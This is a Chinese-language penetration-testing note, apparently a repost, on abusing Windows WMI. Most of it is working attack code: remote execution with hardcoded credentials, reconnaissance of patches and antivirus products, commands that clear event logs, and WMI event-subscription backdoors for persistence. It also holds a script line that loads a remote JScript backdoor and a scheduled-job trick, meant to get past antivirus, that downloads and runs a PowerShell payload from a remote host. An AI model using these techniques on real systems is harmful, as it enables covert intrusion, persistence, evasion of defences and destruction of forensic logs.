滲透基礎 WMI 學習筆記


0x01 前言

隨着技術的更新換代,很多技術在Windows系統中被引進和棄用,但是有一種非常強大的技術卻保留了下來,自Windows NT 4.0和Windows 95開始就一直延續下來,那就是Windows Management Instrumentation (WMI),即Windows管理工具。現在所有的Windows系統中都有這個工具,利用它包含的工具集,我們可以管理本地或遠程的計算機。它不僅僅被系統管理員熟知,更因為Stuxnet利用WMI來進行攻擊的原因而被廣大安全人員所知。由於WMI能夠提供系統信息收集,防病毒檢測,代碼執行,橫向移動,持久化和盜取數據的能力而很受黑客的歡迎。

0x02 在遠程機器上執行

wmic

wmic os get Name,OSArchitecture
wmic /node:192.168.1.1 /user:administrator /password:123456 os get Name,OSArchitecture

powershell

$computerName = "192.168.17.129"
$password = "123456"
$userName = "Administrator"
$secPwd = ConvertTo-SecureString $password -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential($userName, $secPwd)
$Query = "select * from Win32_OperatingSystem" 
Get-WmiObject -Query $Query  -ComputerName 192.168.17.129 -Credential $creds |Select-Object Name,OSArchitecture 

只有 hash 的情況下,配合 wce (Windows Credentials Editor)注入后執行,不需要再指定 Credential

0x03 常用語句

$wql = "select * from Win32_QuickFixEngineering" // 獲取補丁信息
Get-WmiObject -Query $wql  |  Select-Object HotFixID  
Get-WmiObject -Query $wql -ComputerName 192.168.1.1 -Credential $creds |  Select-Object HotFixID  
wmic /node:192.168.1.1 /user:administrator /password:123456  qfe get HotFixID
wmic qfe get HotFixID

$wql = "select name,OSArchitecture from Win32_OperatingSystem" //獲取操作系統名稱和位數
wmic os get name,OSArchitecture


$wql = "Select * from win32_process"  // 獲取進程列表
wmic process get name

"Select name,state From Win32_Service" // 獲取服務和狀態
 wmic service get name,state
 
 "Select * from win32_logicaldisk where drivetype=3 or drivetype=5" // 獲取盤符信息
 wmic logicaldisk where drivetype=3 get deviceid 
 
 $wql = "SELECT * FROM Win32_ENVIRONMENT"  // 獲取環境變量
 wmic ENVIRONMENT get VariableValue
 
 $wql = "select * from win32_product"  // 列出已安裝的軟件
 wmic product get name
 
 Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct -ComputerName 192.168.17.129 -Credential $creds |Select-Object displayName  // 獲取已安裝的防護軟件
  wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName

 $wql = "select * from Cim_DataFile where Drive='c:' and path ='\\'"  // 列目錄下的文件
 
 
wmic nteventlog get path,filename,writeable  // 查看系統開啟的日志
wmic nteventlog where filename="system" call cleareventlog // 清除日志
wmic process call create "cmd /c whoami"  // 創建進程 
wmic process where name="explorer.exe" call terminate  // 結束進程

0x04 WMI Eventing Backdoor

主要依賴 ActiveScriptEventConsumerCommandLineEventConsume 來構造

CommandLineEventConsumer

CommandLineEventConsumer:執行一條命令, 示例如下

$userName = "administrator"
$EventName = "unicode"
$secPwd = ConvertTo-SecureString "rabbit" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($userName, $secPwd)  # 創建憑證信息 

$CommonArgs = @{
 Credential = $Credential
 ComputerName = '192.168.17.129'
}

# 秒數為 10 的時候觸發
$Wql = "select * from __InstanceModificationEvent where TargetInstance Isa 'win32_LocalTime' and TargetInstance.Second = 10"
$Command = "cmd /c whoami"

# 創建事件過濾器
$filter = Set-WmiInstance @CommonArgs -Namespace root/subscription -Class __EventFilter -Arguments @{ EventNamespace = 'root/cimv2'; Name = $EventName; Query = $Wql; QueryLanguage = 'WQL' }
# 創建事件處理
$consumer = Set-WmiInstance @CommonArgs -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{ Name = $EventName; CommandLineTemplate = $Command }
# 綁定
$FilterToConsumerBinding = Set-WmiInstance @CommonArgs -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter; Consumer = $Consumer }

指定詳細的年月日時分秒,或者每周的某一天,或者指定多個時間點等等 , 來作為持久化的觸發條件,例如:

Select * From __InstanceModificationEvent Within 5 Where TargetInstance ISA 'Win32_LocalTime' And (TargetInstance.Second=0 Or TargetInstance.Second=10 Or TargetInstance.Second=20 Or TargetInstance.Second=30 Or TargetInstance.Second=40 Or TargetInstance.Second=50)

ActiveScriptEventConsumer

ActiveScriptEventConsumer: 用來執行 VBScript/JScript 程序,可以用使用 ScriptFileName 指定腳本的路徑,也可以直接使用 ScriptText 將腳本內容直接寫入。示例如下:

......
$setings = @{
			Name = $EventName;
			ScriptingEngine = 'JScript';
			ScriptText = 'new ActiveXObject("Wscript.Shell").Run("cmd.exe /c echo 1 > c:\\1.txt");'
		}
$Wql = "select * from __InstanceModificationEvent where TargetInstance Isa 'win32_LocalTime' and TargetInstance.Second = 10"

# 創建事件過濾器
$filter = Set-WmiInstance @CommonArgs -Namespace root/subscription -Class __EventFilter -Arguments @{ EventNamespace = 'root/cimv2'; Name = $EventName; Query = $Wql; QueryLanguage = 'WQL' }
# 創建事件處理
$consumer = Set-WmiInstance @CommonArgs -Namespace root/subscription -Class ActiveScriptEventConsumer -Arguments $setings
# 綁定
$FilterToConsumerBinding = Set-WmiInstance @CommonArgs -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter; Consumer = $Consumer }
......

這樣就可以直接使用 VBScript/JScript 來直接執行命令、加載 shellcode 等操作。也可以遠程加載 payload ,易於隨時修改,也以防被抓樣本。參考烏雲知識庫 "WSC、JSRAT and WMI Backdoor"

ScriptText = 'GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")';

0x05 Bypass AV

用 wmic process call create cmd 的方法對遠程主機進行測試,被防護軟件攔截,攔截信息如下:

8acc249a6e2a0468e514ad74e2532501.png

用 創建事件的方式 ActiveScriptEventConsumer 用 js 去執行,被防護軟件攔截,攔截信息如下:

22f569367a4b9aa77f0cfaaf24891c4b.png

對行為進行的攔截,需要改變行為,斷開調用鏈,這里通過添加計划任務來執行命令,當然你的 payload 也需要是免殺的,代碼如下

$ComputerName = .....
$Cred = .....
$command = "cmd /c echo IEX ((new-object net.webclient).downloadstring('http://192.168.1.1/a')) | powershell -",
$wmi_sched_job = [wmiclass]"\\$env:computername\root\cimv2:win32_scheduledjob"
$time = $wmi_sched_job.ConvertFromDateTime($time)
(Get-WmiObject -list win32_scheduledjob -ComputerName $ComputerName -Credential $Cred).Create( $command,$time)

成功繞過攔截

a63d0fd91177828d5836133d505523e5.png

實戰中,先獲取遠程系統 AV、服務、進程 等信息,在考慮下一步的針對性操作

0x06 補充

WMI 在平常利用的中一般情況會執行命令輸出回顯到文件中,在建立連接后使用 type 來查看,但在目標不開放 445 的情況下不可用。在 wmicmd(
https://github.com/nccgroup/WMIcmd) 中,是將執行后的結果插入了注冊表,然后在讀取注冊表中的值來完成不依賴 445 的回顯。其實可以新建一個wmi類來儲存結果,再去獲取其中的值,這樣就不用了直接對注冊表進行操作也能實現不依賴 445 的回顯。

  • 存儲:
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put() 
  • 讀取:
$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

0x07 參考

https://www.freebuf.com/column/241216.html
http://drops.leesec.com/#!/drops/1185.WSC、JSRAT and WMI Backdoor
https://www.t00ls.net/viewthread.php?tid=21167&highlight=wmi
https://github.com/nccgroup/WMIcmd
https://github.com/Ridter/Intranet_Penetration_Tips


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM